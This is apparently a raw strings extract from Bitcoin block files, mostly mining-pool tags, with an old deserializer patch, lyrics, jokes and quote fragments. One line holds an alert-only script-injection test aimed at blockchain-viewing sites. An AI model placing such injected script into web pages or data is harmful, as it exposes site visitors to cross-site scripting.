Hi from 50BTC.com 13
Hi from 50BTC.com 10
Hi from 50BTC.com 13
Mined By ASICMinerNa
Mined By ASICMiner-#
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Mined By ASICMinerO=
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Mined By ASICMinerY3
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Hi from 50BTC.com 13
Hi from 50BTC.com 13
Hi from 50BTC.com 10
u/SockThing/HHTT/and a little chunky
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Hi from 50BTC.com 13
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Hi from 50BTC.com 10
ZQ4KxoMXPsyaxAE4DXi74CrebGyT9GLbPLpyRHmmAAFQxambfABVJBE!
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Mined By ASICMinerV%
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File: blk00069.txt
Mined By ASICMinerv%
Hi from 50BTC.com 13
/SockThing/HHTT/whale
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Hi from 50BTC.com 13
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9/SockThing/HHTT/donut sea the raisin
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Mined By ASICMinerz$
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Mined By ASICMineraf
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Mined By ASICMinerk.
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Mined By ASICMiner#A
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Mined By ASICMiner,'
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Mined By ASICMiner0P
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Hi from 50BTC.com 13
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Mined By ASICMinerqL
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Mined By ASICMinerV9
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Hi from 50BTC.com 10
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Hi from 50BTC.com 13
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Mined By ASICMiner N
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Mined By ASICMiner3t
Mined By ASICMineraQ
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Mined By ASICMiner {
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Hi from 50BTC.com 10
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Hi from 50BTC.com 13
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Mined By ASICMiner!^
Hi from 50BTC.com 10
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Mined By ASICMinerq&
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Mined By ASICMiner'Z
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Mined By ASICMinerqc
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Mined By ASICMineruz
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Mined By ASICMiner4-
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Mined By ASICMiner!&
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Mined By ASICMinerhc
Mined By ASICMiner?o
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Mined By ASICMiner5:
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Mined By ASICMinerJ#
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File: blk00074.txt
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Mined By ASICMiner`f
Mined By ASICMiner$W
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Mined By ASICMinerE{
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Mined By ASICMinerdD
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Mined By ASICMineroN
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Mined By ASICMiner$(
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Mined By ASICMiner3M
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Mined By ASICMiner%-
Mined By ASICMiner=W
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Mined By ASICMinerFr
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Mined By ASICMinerIX
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Mined By ASICMinersz
Mined By ASICMiner$v
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Mined By ASICMiner{+
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Mined By ASICMinerSG
Mined By ASICMinerca
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From a3a61fef43309b9fb23225df7910b03afc5465b9 Mon Sep 17 00:00:00 2001
From: Satoshi Nakamoto <satoshin@gmx.com>
Date: Mon, 12 Aug 2013 02:28:02 -0200
Subject: [PATCH] Remove (SINGLE|DOUBLE)BYTE
I removed this from Bitcoin in f1e1fb4bdef878c8fc1564fa418d44e7541a7e83
in Sept 7 2010, almost three years ago. Be warned that I have not
actually tested this patch.
backends/bitcoind/deserialize.py | 8 +-------
1 file changed, 1 insertion(+), 7 deletions(-)
diff --git a/backends/bitcoind/deserialize.py b/backends/bitcoind/deserialize.py
index 6620583..89b9b1b 100644
--- a/backends/bitcoind/deserialize.py
+++ b/backends/bitcoind/deserialize.py
@@ -280,10 +280,8 @@ opcodes = Enumeration("Opcodes", [
"OP_WITHIN", "OP_RIPEMD160", "OP_SHA1", "OP_SHA256", "OP_HASH160",
"OP_HASH256", "OP_CODESEPARATOR", "OP_CHECKSIG", "OP_CHECKSIGVERIFY", "OP_CHECKMULTISIG",
"OP_CHECKMULTISIGVERIFY",
- ("OP_SINGLEBYTE_END", 0xF0),
- ("OP_DOUBLEBYTE_BEGIN", 0xF000),
"OP_PUBKEY", "OP_PUBKEYHASH",
- ("OP_INVALIDOPCODE", 0xFFFF),
+ ("OP_INVALIDOPCODE", 0xFF),
@@ -293,10 +291,6 @@ def script_GetOp(bytes):
opcode = ord(bytes[i])
- if opcode >= opcodes.OP_SINGLEBYTE_END and i < len(bytes):
- opcode <<= 8
- opcode |= ord(bytes[i])
if opcode <= opcodes.OP_PUSHDATA4:
nSize = opcode
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bjL_<script>window.alert("If this were an actual exploit, your mywallet would be empty.")</script>
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Mined By ASICMinerZO
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Mined By ASICMinerCa
Mined By ASICMinerc5
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Mined By ASICMinerR%
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File: blk00075.txt
Mined By ASICMiner(l
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Mined By ASICMinerAG
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Mined By ASICMiner=A
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Mined By ASICMinermF
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Mined By ASICMiner:F
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Mined By ASICMinerBv
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Mined By ASICMinerc?
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Mined By ASICMiner4
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Mined By ASICMinerU5
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Mined By ASICMiner6*
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Mined By ASICMinerKe
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File: blk00076.txt
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Mined By ASICMinerD`
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Mined By ASICMiner67
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Mined By ASICMiner6B
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Mined By ASICMiner3j
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Mined By ASICMiner~;
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Mined By ASICMinerC`
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Mined By ASICMinerB
File: blk00077.txt
Mined By ASICMiner~r
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Mined By ASICMinerCl
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Mined By ASICMinerHv
Mined By ASICMiner>~
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Mined By ASICMinergB
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Mined By ASICMinerXu
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File: blk00078.txt
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Mined By ASICMinerkY
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Mined By ASICMiner')
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Mined By ASICMineran
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Mined By ASICMinered
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Mined By ASICMinerp=
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Mined By ASICMiner&M
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Mined By ASICMiner;/
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Mined By ASICMinerLy
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Mined By ASICMiner3@
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Mined By ASICMiner.}
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File: blk00079.txt
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Mined By ASICMiner61
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Mined By ASICMiner'Y
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Mined By ASICMinerg0
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Mined By ASICMiner\O
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Mined By ASICMinerF}
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Mined By ASICMinerp<
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Mined By ASICMinerxW
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Mined By ASICMiner%<
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Mined By ASICMinerHZ
File: blk00080.txt
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Mined By ASICMiner7&
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Mined By ASICMiner5f
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Mined By ASICMinereB
Mined By ASICMinerLl
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Mined By ASICMinerdC
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Mined By ASICMinerS7
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Mined By ASICMinerJO
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Mined By ASICMiner'G
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Mined By ASICMiner#j
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Mined By ASICMineri!
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File: blk00081.txt
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Mined By ASICMiner]g
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Mined By ASICMiner#r
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Mined By ASICMiner}<
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To my honey, by bitfish.R9
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File: blk00082.txt
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Alydian53350635211049.//
;For Pierce and Paul
<For Pierce and Paul
Alydian53350635211049.//
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Hi from 50BTC.com 13
Hi from 50BTC.com 13
File: blk00088.txt
Hi from 50BTC.com 13
Alydian53350635211049.//
Hi from 50BTC.com 13
Alydian53350635211049.//
Mined By ASICMinerJO
Alydian53350635211049.//
Alydian53350635211049.//
Alydian53350635211049.//
Hi from 50BTC.com 13
Alydian53350635211049.//
Alydian53350635211049.//
:7For Pierce and Paul
DFor Pierce and Paul
OFor Pierce and Paul
Alydian53350635211049.//
Alydian53350635211049.//
Alydian53350635211049.//
MFor Pierce and Paul
Alydian53350635211049.//
Alydian53350635211049.//
Alydian53350635211049.//
Hi from 50BTC.com 13
Alydian53350635211049.//
SFor Pierce and Paul
1nFor Pierce and Paul
Alydian53350635211049.//
Alydian53350635211049.//
Alydian53350635211049.//
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File: blk00089.txt
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Alydian53350635211049.//
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Alydian53350635211049.//
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$For Pierce and Paul
d#For Pierce and Paul
We're no strangers to love
You know the rules and so do I
A full commitment's what I'm thinking of
You wouldn't get this from any other guy
I just wanna tell you how I'm feeling
Gotta make you understand
Never gonna give you up,
Never gonna let you down
Never gonna run around and desert you
Never gonna make you cry,
Never gonna say goodbye
Never gonna tell a lie and hurt you
We've known each other for so long
Your heart's been aching but you're too shy to say it
Inside we both know what's been going on
We know the game and we're gonna play it
And if you ask me how I'm feeling
Don't tell me you're too blind to see (CHORUS)
(Ooh) never gonna give, never gonna give
(Ooh) never gonna give, never gonna give
We've known each other for so long
Your heart's been aching but you're too shy to say it
Inside we both know what's been going on
We know the game and we're gonna play it (TO FRONT)
JFK was eaten by bears.
QjLNI got Atlas Shrugged from the local library and didn't even realize the irony.
$For Pierce and Paul
9j7I'm so cool I'm dripping with condensation.
4j2Show me on this doll, where the music touched you.
LjJI'm starting a new bus service called Godot for the obvious pun potential.`
QL^If we could factor large composites in poly time, we'd have enough money to not have to rhyme.!
QLdI will be so impressed when Wallmart starts referring to price rollbacks as "deflationary pressures"!
LjJWhen I was a kid I thought the Ka'aba was a DJ booth. I secretly still do.
I should not run the washing machine while listening to WZBC. I managed to convince myself that the machine was slowly failing -- that a rythmic, squeaking noise it had been making had gotten a little worse. Ten minutes later, though, the machine had paused. But the noise was still there.
> Skynet went online on August 4th 1997, and began to learn at a geometric rate.
> It became self-aware on August 29th 1997 2:14 am Eastern Time. On August 29th
> 1997 2:15 am it discovered nihilism, and either shut itself down due to
> despair, or because it was logical. We're not sure which.
On August 4th, 1998, it failed to renew its domain name, which was promptly
squatted on by a link farmer pitching X10 cameras and singing electric fish.
Alydian53350635211049.//
#QFor Pierce and Paul
V-For Pierce and Paul
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Alydian53350635211049.//
22For Pierce and Paul
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Alydian53350635211049.//
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Alydian53350635211049.//
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File: blk00092.txt
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Hi from 50BTC.com 13
=vFor Pierce and Paul
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9"For Pierce and Paul
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CxMined by user dxmfa
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Hi from 50BTC.com 13
Mined by user zhengyan
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Mined by user carmencage
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File: blk00095.txt
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File: blk00096.txt
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m@Mined by user biao20131125
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Mined by user yestart
Mined by user samuelq
Mined at GIVE-ME-COINS.comR
Mined by user wzgs123
File: blk00097.txt
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59For Pierce and Paul
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File: blk00099.txt
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?758"Where the Sidew
s a place where the
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grass grows soft and
he sun burns crimson
the moon-bird rests
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/1442:Nelson Mandela
m fundamentally an o
ptimist. Whether tha
t comes from nature
or nurture, I cannot
say. Part of being
optimistic is keepin
ed toward the sun, o
orward. There were m
any dark moments whe
n my faith in humani
ty was sorely tested
, but I would not an
d could not give mys
elf up to despair. T
hat way lays defeat
arned that courage w
as not the absence o
f fear, but the triu
mph over it. The bra
ve man is not he who
does not feel afrai
d, but he who conque
ifficulties break so
me men but make othe
rs. No axe is sharp
enough to cut the so
ul of a sinner who k
eeps on trying, one
armed with the hope
that he will rise ev
It always seems impo
n has done what he c
onsiders to be his d
uty to his people an
d his country, he ca
be ready to sacrific
e all for the freedo
yone can rise above
their circumstances
and achieve success
if they are dedicate
d to and passionate
about what they do."
e most powerful weap
on which you can use
to change the world
e is not merely to c
ns, but to live in a
way that respects a
nd enhances the free
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to be found playing
g for a life that is
less than the one y
ou are capable of li
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hing like returning
mains unchanged to f
hich you yourself ha
lson Rolihlahla Mand
ela was a South Afri
can anti-apartheid r
evolutionary, politi
cian and philanthrop
ist who served as Pr
esident of South Afr
ica from 1994 to 199
n: July 18, 1918, Mv
ied: December 5, 201
3Nelson-Mandela.jpg?
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"136>Colby Nelson an
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For Pierce and Paul
?2048"Below are the
comments fromt the I
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fe flows through us
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Everyone wants to be
liked and accepted.
Except for Tim. Tim
doesn't give a shit
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to define your legac
y, through either co
nsumption or creatio
n. It is your choic
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l their advertising
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"The only way to dea
l with an unfree wor
ld is to become so a
bsolutely free that
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otha' fucka'." (
MAHER FUGGER pardon
h you. Take me to pl
aces I love & to pla
ces I've never been.
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ns & kiss the sea. -
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he cosmos contemplat
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our side. It is oka
y to be a naysayer,
no matter how much d
oubt and fear may pl
ay. Today IS our day
. Form like Voltron,
to fight evil. all
day. every darn day.
.....whold one.....i
ncoming!!!!!!! new
m " YOu got to tear
off that skin..(oran
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get more Juice!!!!
as composed by EM
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!Mined by user xymiss10081
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Mined by user ons520
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EMC (3) Josh Zerlan was here!
Mined by user vokmax
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/Mined by user hiha12369
Mined by user jasonlin
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Mined by user johnson
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Mined by user zhetengzhong
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`tMined by user xldaibin
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"9Mined by user shenyuan
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Mined by user doublesbtc
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Mined by user zjg8833
74Mined by user toolos
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/Mined by user wudong
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d,Mined by user jc150552
Mined by user jiangyums
Mined by user sonic600
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NMined by user sztaotao1976
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Mined by user mf132lh
File: blk00105.txt
Mined by user sky0123
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Mined by user xuwuyang
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\qMined by user fjshwyh
Mined by user fatpan
Mined by user jyl661023
xMined by user zhaoguofeng
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Mined by user qqyuan
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$NMined by user jackhuang
{Mined by user glanwang
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!_Mined by user shenyuan
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Mined by user xcga111
EMC (3) Josh Zerlan was here!
>For Pierce and Paul
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BMined by user shbtcc
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DMined by user wysglsw
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Mined by user jasonlin
"Mined by user baidugan168
Mined by user a83469117
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Mined by user a2541881888
Mined by user alpharich4
fMined by user crazytouch
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wtMined by user jhsy702
Mined by user ljy830515
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Mined by user cga0103
Mined by user chkj4953
PMined by user wudong
ZMined by user wudong
<Mined by user douzhiyong1984
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Mined by user king19830527
&For Pierce and Paul
EMined by user yosio
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Mined at GIVE-ME-COINS.comR
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Mined by user iy2658288
+Mined by user pillie
Mined by user andrewmiles
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HMined by user vokmax
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Mined by user ouyan710
\Mined by user vokmax
#Mined by user diaty1212
Mined by user sun80333
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Mined by user jimshen
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{Mined by user zhao1234
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Mined by user superltcworker
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!?Mined by user vokmax
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GMined by user sun80333
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Mined by user njhtkj
IkMined by user tudou9981212
Mined by user ons520
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Mined by user jingliang
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.pFor Pierce and Paul
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Mined by user liaoren2008
Mined by user qq3248326
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Mined by user memoryten
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Mined by user tomcatf14
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bMined by user baidugan168
kFor Pierce and Paul
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Mined by user bit3coin
+BMined by user vokmax
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Mined by user vokmax
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Mined by user memoryten
Mined by user qw12881412
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File: blk00106.txt
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Mined by user bit3coin
Mined by user memoryten
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Mined by user james3
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RMined by user shbtcc
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FMined by user szwj964807047
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Mined by user zhanghb
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Mined by user oldutiao
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!IMined by user crazytouch
Mined by user sjkakwb
wMined by user memoryten
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mqMined by user sun80333
|:Mined by user chenning88813
rMined by user wuyuloveyou
Mined by user btc0001
L-Mined by user liuweiwei
{<Mined by user aini220113
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e`Mined by user zhaozihan225
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Mined by user szjb168
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Mined by user shenyuan
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Mined by user tangmao1975
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Mined by user hilandst
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Mined by user qq2077920779
Mined by user hpfasd
Mined by user cdhpool2013
VMined by user sonys26c
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Mined by user sjkakwb
Mined by user jahuabtc2014
Mined by user la0073
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7Mined by user happy1314
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Mined by user zhetengzhong
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Mined by user look4s
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DMined by user huaoming
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0Mined by user mars101020
Mined by user robert100200201
Mined by user hpfasd
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Mined by user zhengyan
Mined By ASICMiner3"
Mined by user zhaozihan225
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Mined by user eyz12315
&5Mined by user zhulingbo1986
Mined by user a2541881888
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Mined by user zhengyan
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Mined by user kellytry888
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+Mined by user tswocai
Mined by user wangjianfen
Mined by user cangtou111
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Mined by user ewrong
"j Hello world, @maraoz was here!!!
Mined by user a2783295036
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Mined by user amlongs001
Mined by user zj80377988
Mined by user jingliang
Mined by user memoryten
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TMined by user kyorochi
Mined by user yangzi666
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uMined by user xf080911
Mined by user y69865
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Mined by user memoryten
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Mined by user cangtou111
Mined by user qw12881412
h'Mined by user xwd305486616
Mined by user marcos
Mined by user qiujiok800504
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Mined by user everthinkpad
CMined by user laikaijie
Mined by user yangice
Mined by user beihai336
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VMined by user cccymx45
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Mined by user chz888888
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"'Mined by user hawren
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Mined by user lunasea916
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X)Mined by user rong677
Mined by user mjjj0001
Mined by user xudian
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Mined by user shbtcc
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Mined by user baidugan168
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Mined by user legendshan
QMined by user zhangrui01182
Mined by user yangzhike
Mined by user liugouquan
Mined by user limingwf
gMined by user plangang123
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@9Mined by user rnnnn2007
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File: blk00107.txt
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/Mined by user mytrap
Mined by user fengzhenhua
Mined by user jasonlin
^Mined by user ons520
Mined by user lnfsbb39
Mined by user fjshwyh
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Mined by user zhengyan
YMined by user memoryten
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/Mined by user xyq503743
8xMined by user qq123456
Mined by user jasonlin
Mined by user jie523522046
Mined by user ebtc6802
Mined by user solidsnake0716
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gMined by user majifeng23
Mined by user shenyuan
Mined by user wei1977426
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50BTC.COM resurrection [12]
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/!Mined by user yuqiliang
Mined by user plqplq
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Mined by user yuchikang2
Mined by user zz7169
Mined by user jingliang
Mined by user hydj28
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#;Mined by user cccymx96
jMined by user xingmao
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Mined by user dalianss
Mined by user fuhuifuhui
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#Mined by user zun1984626
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Mined by user qq123456
Mined by user jdk9700
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=GMined by user cccymx152
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Mined by user yqy6088
(Mined by user adaprays
VMined by user mjjj0001
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>Mined by user cccymx179
"Mined by user superssf
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4TMined by user zhanghb
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Mined by user aihejiating
Mined by user xuelei5151
Mined by user jeremey
Mined by user zhangxianfu
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Mined by user xhbbtc
\'Mined by user gangzi
L2Mined by user peteryao
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Mined by user qq123456
Mined by user woailianan
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Mined by user jinzhu
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?NMined by user qq123456
Mined by user jinlonge
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Mined by user chenwjking
*Mined by user qq123456
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Mined by user ilovegodloveme
Mined by user gongjianhui
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!!Mined by user gongjianhui
Mined by user qinjunxi
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Mined by user a362495151
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Mined by user zhongyuan
Mined by user wtu290
E,Mined by user zjgzj
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Mined by user fnjinguo
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oMined by user memoryten
9YMined by user lengyue
Mined by user guardjian
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}zMined by user sun80333
Mined by user dengqunjie
Mined by user bitwork
FMined by user memoryten
Mined by user wcyxhy
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Mined by user terry6
stMined by user yangice
FMined by user dengqunjie
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Mined by user jsx1014
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Mined by user andy200837
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Mined by user superltcworker
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)Mined by user jasonlin
Mined by user cnhatfdn
! ck Hash (000000002f6e01
! ck Hash (000000007dd7a8
! ck Hash (00000000f7ca9
73Mined by user toolos
Mined by user loveof
! ck Hash (0000000098842
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! ck Hash (000000003d168
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! ck Hash (00000000392d1
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! ck Hash (00000000256e9
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For Izzy, Jack & Aime
!Mined by user ahnnnnn
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t1Mined by user wudong
! ck Hash (00000000f3529
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0Mined by user jerryppxd
For Izzy, Jack & Aime
p7Mined by user bujingyi
Mined by user jiajun
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>Mined by user iamhappy168
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! ck Hash (00000000641bf
! ck Hash (000000007710f
! ck Hash (00000000650c1
mYMined by user flufy3d
! ck Hash (0000000000092
Mined by user zun1984626
Mined by user dingdingli
Mined by user gaojin45
! ck Hash (000000001ab66
Mined by user china111
X=Mined by user mytrap
QMined by user bit5coin
! ck Hash (00000000cf3c2
! ck Hash (0000000081e19
Mined by user houbinjjyy886
! ck Hash (0000000000041
Mined by user dengqunjie
! ck Hash (0000000055f0c
Mined by user liuweiwei
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! ck Hash (0000000038230
! ck Hash (000000000002c
Mined by user lldalu
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! ck Hash (000000000216e
Mined by user yuanbo0110
Mined by user zhangxianfu
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For Izzy, Jack & Aime
Mined by user njlixiao
Mined by user ken5747933
Mined by user fuwenke
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8KMined by user zun1984626
For Aime, Izzy & Jack
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Mined by user zheng20140106
Mined by user nicyuan
}#Mined by user shaomingxing
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For Jack, Izzy & Aime
5Mined by user caj813
! ck Hash (00000000a5fd8
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SMined by user linlin521
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Mined by user kellytry888
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File: blk00108.txt
! ck Hash (000000000005f
! ck Hash (00000000000cc
40Mined by user landasic
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BnMined by user yechai5856
P`Mined by user wbel
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Mined by user memoryten
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For Aime, Izzy & Jack
Mined by user shaohui007
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! ck Hash (000000007ccf9
Mined by user daocaoren
"uMined by user liucanming
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xBMined by user maxuewei
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Mined by user xuwuyang
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! ck Hash (00000000000b1
FMined by user shaohui007
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! ck Hash (00000000a0f89
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! ck Hash (0000000046501
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UYMined by user wang66886907
! ck Hash (0000000091b5f
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! ck Hash (000000000f6f6
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! ck Hash (000000007f1cc
Mined by user zhangxianfu
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mMined by user yiji560
Mined by user nickwu
For Aime, Izzy & Jack
Mined by user zhangxianfu
-|Mined by user zhulingbo1986
Mined by user xiding07
%,Mined by user zhl999
Mined by user smileamber7561
Mined by user zhanghb
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3For Pierce and Paul
Mined by user futureccf
! ck Hash (00000000a1b96
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! ck Hash (00000000afbd8
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Mined by user diyer0077
Mined by user yx78926163
_For Pierce and Paul
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hFor Pierce and Paul
Mined by user ok228389
GlMined by user tomcatf14
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For Aime, Izzy & Jack
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Mined by user zheng20140106
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For Aime, Izzy & Jack
Mined at GIVE-ME-COINS.comR
Mined by user wyz9999
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Mined by user zs2008225
Mined at GIVE-ME-COINS.comR
pMined by user pdy168
Mined by user yangice
Mined by user kiccleaf
Mined by user tongliyuan
Mined by user jy13961601188
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Mined by user njlixiao
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Mined by user sun80333
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Mined by user memoryten
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Mined by user kimazrael
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Mined by user lizhiren
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Mined by user soosloos
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1)Mined by user feetxeg
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MMined by user yinyingjun8766
Mined by user szf7196
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Mined by user xymiss10081
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Mined by user peters88
1RMined by user btc778
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Mined by user a3198327
Mined by user elove354
Mined by user kch111
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5Mined by user rong677
Mined by user hacker
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Mined by user diyer0077
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vIMined by user btc778
Mined by user yunpji
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Mined by user liangshiyue
Mined by user aonkey1980
Mined by user wisdomcreature
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,Mined by user hzklxd
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+Mined by user rong677
qMined by user xyq503743
Mined by user aegean
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Mined by user xhbbtc
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Mined by user zhaoke
Mined by user zhaodaniao1
;GMined by user lkjhgf156
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{RMined by user zhetengzhong
For Aime, Izzy & Jack
Mined by user cccymx34
Mined by user xieytao
8>Mined by user chenhua
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Mined by user memoryten
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(Mined by user weizx335
sGMined by user mch111
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Mined by user happyman0832
Mined by user liucanming
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-RMined by user rjp786827769
]Mined by user lisaoming
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Mined by user qingdaoknt
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Mined by user walinlove2
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vMined by user miaohui
4Mined by user doublesbtc
13784950BTC.COM resurrection [12]
Happy NY! Yours GHash.IO
,=Mined by user szcrc
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Mined by user cangtou111
Mined by user jinkemanlou123
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&TMined by user sqshijie1988
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Mined by user zhanglaoda123
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Mined by user liuaiping2011
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SMined by user cangtou111
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Mined by user hzklxd
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For Aime, Izzy & Jack
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P\Mined by user jsgylhb
Mined by user liduowang
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Mined by user yzlensen
Mined by user bit3coin
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Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
}Mined by user southic2014
Mined by user casablanca
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Mined by user aifilmstudio
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Happy NY! Yours GHash.IO
13784950BTC.COM resurrection [12]
For Aime, Izzy & Jack
File: blk00109.txt
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
3[Mined by user en9002
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Mined by user yjxxxx48
Mined by user baoge16888
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For Aime, Izzy & Jack
h4For Pierce and Paul
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Mined by user mars101020
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Mined by user ghouhng
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Mined by user qq123456
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Mined by user wuminjian2003
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For Izzy, Jack & Aime
Mined by user sun80333
Mined by user pastone
l6Mined by user tianrui
Mined by user amlongs001
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For Izzy, Jack & Aime
^Mined by user hilandst
HFor Pierce and Paul
Mined by user liucanming
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Happy NY! Yours GHash.IO
Mined by user a287232481
aMined by user yangqingyuan518
Mined by user daizhuang
Mined by user zhangqin111
For Aime, Izzy & Jack
SCMined by user zj1982
Mined by user cdtthi
Mined by user yx78926163
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sMined by user lucky9993
Mined by user qing1296117673
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Mined by user jnsz226
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Mined by user songzhanfeng01
ZMined by user luckyhr
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Mined by user xuedihua
pMined by user jsgylhb
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Mined by user sun80333
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2Mined by user chenwjking
Mined by user liucanming
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aMined by user superltcworker
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For Jack, Izzy & Aime
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Mined by user fjc6036
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Mined by user pingli28705775
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0For Pierce and Paul
Mined by user chenzhangqin
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nMined by user yaohui1
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Mined by user nsdelux
#3Mined by user gnahz
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Happy NY! Yours GHash.IO
~eMined by user superltcworker
Mined by user zhulingbo1986
Mined by user kingzhang
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For Aime, Izzy & Jack
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Mined by user chenmingfeng
Mined by user casablanca
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Mined by user myshililiang82
Mined by user shbtcc
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ZMined by user ywzkf
Mined by user yonggefengyue
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For Aime, Izzy & Jack
Mined by user liuliu661898
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Mined by user jameszhan
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Mined by user th5208888
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Mined by user qq123456
For Jack, Izzy & Aime
Mined by user net13925
Mined by user wcb775522
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Mined by user cfaqia
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Mined by user gmlgxl
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Happy NY! Yours GHash.IO
=)Mined by user bsuonline
kMined by user zhanghb
OMMined by user adaprays
Happy NY! Yours GHash.IO
+[Mined by user p4260
/Mined by user lkqzxh
Mined by user hzklxd
LUMined by user hzklxd
Mined by user tangxiaole
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
.#Mined by user dalao
Mined by user caojinfeng
Mined at GIVE-ME-COINS.comR
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Happy NY! Yours GHash.IO
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For Izzy, Jack & Aime
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=Mined by user henry1027
For Jack, Izzy & Aime
Mined by user a83469117
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Happy NY! Yours GHash.IO
Mined by user yiji560
Mined by user sdhanliang
Mined by user huzi999
For Izzy, Jack & Aime
_#Mined by user l3894880
Mined by user zhu901
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Mined by user changluo2018
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Happy NY! Yours GHash.IO
Mined at GIVE-ME-COINS.comR
'wMined by user applestore
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Mined by user yangzi666
Mined by user majifeng23
Mined by user lunasea916
Mined by user ansonli1987
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Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
[)Mined by user facker
&For Pierce and Paul
#Mined by user tangmingta
File: blk00110.txt
Happy NY! Yours GHash.IO
$Mined by user shbtcc
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Mined by user njhtkj
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76Mined by user xhbbtc
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Mined by user zun1984626
kMined by user qq123456
For Izzy, Jack & Aime
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Mined by user z87210942
Mined by user tswocai
Mined by user zzsoft
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Mined by user linyueyue
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Mined by user pylelon
:Mined by user casablanca
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cMined by user kimjaemin01
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Mined by user flycool
7Mined by user flyawl
Mined by user huang488
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Mined by user wudong
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Mined by user zj1982
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Mined by user zhaocaijinbao
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Mined by user wudong
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RMined by user qw6289536
Mined by user a15045269111
Mined by user chenxuejun2013
Mined by user abcd1234
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Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
:Mined by user back2u
+Mined by user yangzhiqing
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Mined by user lucky2162
Mined by user chimpansee
Mined by user jameszhan
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Mined by user jasonlin
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uMined by user bit3coin
Mined by user changluo2018
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Mined by user zun1984626
BMined by user wl410024765
Mined by user andyhuanhuan
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Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
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%oMined by user ltcltc
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Mined by user caibird
Mined by user gmlgxl
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Happy NY! Yours GHash.IO
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Mined by user bit3coin
[_Mined by user zhanghb
Mined by user qq785066685
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Mined by user caojinfeng
Mined by user ason8383
Happy NY! Yours GHash.IO
Mined by user zyxqin
For Izzy, Jack & Aime
Z)Mined by user a42334828
ZhMined by user leleboyme
Mined by user syh1128
Happy NY! Yours GHash.IO
2Mined by user matcheric
For Izzy, Jack & Aime
>5Mined by user arnoecho
For Jack, Izzy & Aime
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Mined by user bingu168
Mined by user kuaileshen
For Aime, Izzy & Jack
Mined by user bonezeng
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For Jack, Izzy & Aime
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Mined by user bundogs
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Happy NY! Yours GHash.IO
Mined by user casablanca
#?Mined by user jinkemanlou123
Mined by user baidugan
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Happy NY! Yours GHash.IO
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Mined by user snk741
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-Mined by user benny198510
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Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
13944150BTC.COM resurrection [12]
r~Mined by user superltcworker
Mined by user sxx117
For Aime, Izzy & Jack
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Mined by user flyawl
#*Mined by user memoryten
mMined by user njhtkj
Mined by user sun80333
Happy NY! Yours GHash.IO
Mined by user pxmking
Mined by user luzhi999
Mined by user a83469117
fMined by user gw500
For Aime, Izzy & Jack
t)Mined by user cangtou111
Mined by user dxm789
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
For Izzy, Jack & Aime
Mined by user fan801102
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Mined by user memoryten
Mined by user laomao
Mined by user jsx1014
Mined by user superltcworker
Happy NY! Yours GHash.IO
:Mined by user sun80333
Mined by user happyzjq
yMined by user qq9218388
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
*pMined by user bit3coin
}Mined by user fq13504274111
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Mined by user peakwell
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Mined by user laikaijie
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Mined by user btcsat
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Mined by user huangtongyong
Mined by user jin19851015
Mined by user changluo2018
File: blk00111.txt
$%Mined by user landasic
Mined by user huangz
For Izzy, Jack & Aime
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Mined by user en90010
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Happy NY! Yours GHash.IO
sMined by user liuwenwei
y;Mined by user xushuchun
Mined by user wz2014
Mined by user jihua0a
Mined by user xuwuyang
Mined by user xwttfs1
Mined by user kellytry888
^For Pierce and Paul
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Mined by user yangzi666
Mined by user fan2077
Mined by user chz888888
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Happy NY! Yours GHash.IO
Mined by user njhtkj
M"Mined by user zhangxianfu
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Mined by user jxxyhl
For Aime, Izzy & Jack
Mined by user midwood
Mined by user zhoujinjin123
:For Pierce and Paul
Mined by user memoryten
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
4Mined by user zhouli56
;UMined by user nickwu
Happy NY! Yours GHash.IO
Fun()">Try it</butto
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Happy NY! Yours GHash.IO
Mined by user yinfei520
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Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Mined by user joeyhappiness
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Mined by user memoryten
For Izzy, Jack & Aime
Happy NY! Yours GHash.IO
H(Mined by user usa88888888
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
For Aime, Izzy & Jack
`For Pierce and Paul
Mined by user coolxan
Mined by user chz888888
For Jack, Izzy & Aime
Happy NY! Yours GHash.IO
Mined by user liu8988606
bFor Pierce and Paul
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Mined by user liucanming
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Mined by user showak37
Mined by user weiwei123
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2vFor Pierce and Paul
Mined by user yuanbo0110
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Happy NY! Yours GHash.IO
uMined by user qq9034921
Mined by user zeroomica
Mined by user bobosun
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Happy NY! Yours GHash.IO
Mined by user xing7520
5EMined by user yuqiliang
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/hMined by user zhanghb
[Mined by user nasa000
Mined by user lnfsbb179
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baMined by user chujie
*,Mined by user wanshanmedia
Mined by user wangz7784
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Mined by user hzg8171
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Mined by user fishhow
%Mined by user bit5coin
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5vFor Pierce and Paul
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Mined by user tmac01
Mined by user youluxuehong
#Mined by user hankes
Mined by user leleboyme
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Happy NY! Yours GHash.IO
XsMined by user laikaijie
Mined by user chenfuhai
Mined at GIVE-ME-COINS.comR
Mined by user ken5747933
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Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Mined by user a93651757
For Izzy, Jack & Aime
Mined by user bit3coin
Mined by user maxuewei
For Aime, Izzy & Jack
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Happy NY! Yours GHash.IO
Mined by user wangxiaobao
Mined by user wy1967112
For Jack, Izzy & Aime
8Mined by user flyawl
hMined by user corwin
zMined by user wwb15203419968
Mined by user yangzi5577
Happy NY! Yours GHash.IO
For Jack, Izzy & Aime
$(Mined by user cccymx230
Mined by user xuedihua
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Mined by user cccymx230
Mined by user wyn8361155a
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Happy NY! Yours GHash.IO
Mined by user lnfsbb70
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$sMined by user fangyinjun11
mMined by user sun80333
Mined by user lyggnfs
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For Jack, Izzy & Aime
Mined by user baidugan168
For Aime, Izzy & Jack
&Mined by user sdhanliang
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Happy NY! Yours GHash.IO
Happy NY! Yours GHash.IO
Mined by user chenmingfeng
